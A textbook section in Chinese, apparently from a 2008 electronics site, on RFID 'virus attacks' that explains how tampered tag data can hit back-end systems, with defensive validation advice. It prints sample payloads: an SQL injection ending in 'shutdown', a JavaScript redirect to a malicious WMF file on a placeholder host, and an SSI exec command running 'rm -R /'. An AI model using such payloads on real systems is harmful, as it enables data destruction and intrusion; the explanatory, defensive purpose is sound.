第4节 病毒攻击
推荐给好友
打印
加入收藏
更新于2008-05-19 12:11:48

7.4 病毒攻击

一个标签通常都带有一个唯一的ID,也可能会带有一些用户定义的数据。数据的大小从几个字节到几千个字节不等。RFID阅读器可以读写数据,这些数据随后从被系统中间件接收并用于进一步的处理。一个设计上存在问题的后端系统和错误的标签数据可能导致不良后果的发生。

问题一(数据库组件):

航空公司的机场行李包含了一个标签,标签中的数据部分记录了目的地机场。中间件接收到标签数据,后端系统激活查询,“select * from location_table where airport = <tag data>” 通常,标签数据包含目的地机场。一个聪明的入侵者可以将这个标签数据从“LAX”改变成“LAX; shotdown ”,收到这种数据,后端系统就可能激活这样的查询语句:“select * from location_table where airport = LAX; shutdown” 。这可能会导致数据库系统关闭,从而关闭机场行李处理行李系统。

问题二(基于网站的组件):

很多后端系统使用基于网站的组件向用户提供接口或者数据库查询服务。这些基于网站的组件是很容易被攻击的。

如果采用Web浏览器用来显示标签信息(直接显示或通过数据库间接显示),那么就有可能滥用现代浏览器所提供的动态特点,包括标签上的JavaScript指令代码。例如下表列出的一个JavaScript的指令:

script>document.location='http://ip/malicious_code.wmf';</script>

这个例子将浏览器重指向到WMF文件(Windows元文件格式),这可能含有最近出现的WMF BUG。

问题三(基于网站的组件):

另一种基于网站的组件可以通过服务器端进行嵌入(SSI)。SSI是这样一种技术,当网页接受某种请求的时候,它允许执行网站服务器上面的指令生成动态网页。在一个标签上使用SSI的exec 指令会欺骗网站服务器使之执行恶意代码成为。一个错误的标签数据如<!-- #exec cmd=”rm -R /”-->,可以导致这个文件的删除。

解决方法三:

首先,后端系统必须保证标签数据是有用的数据,或者设置严格的校验机制以防止数据被篡改。

问题四(缓冲器溢出):

中间件系统是设计用来接收确定大小的标签数据的。后端系统可以采用C/C++语言编写,它将标签数据保存到一定大小的内存内。如果入侵者载入一个超出容量的标签数据,将会致使后端系统发生数据缓冲溢出,最终导致系统的崩溃。

解决方法四:

后端系统应拥有较为严格的安全防范措施,并对接收的数据进行严格的检查。可以使用某些数据验证技术去校验所读取的标签数据的大小并验证其有效性。

<<上一节   下一节>>




 
关于我们 | 诚邀加盟 | 客户服务 | 相关法律 | 网站地图 | 友情链接 | 服务信箱:service@eefocus.com
© 2006 与非门科技信息咨询(北京)有限公司 All Rights Reserved.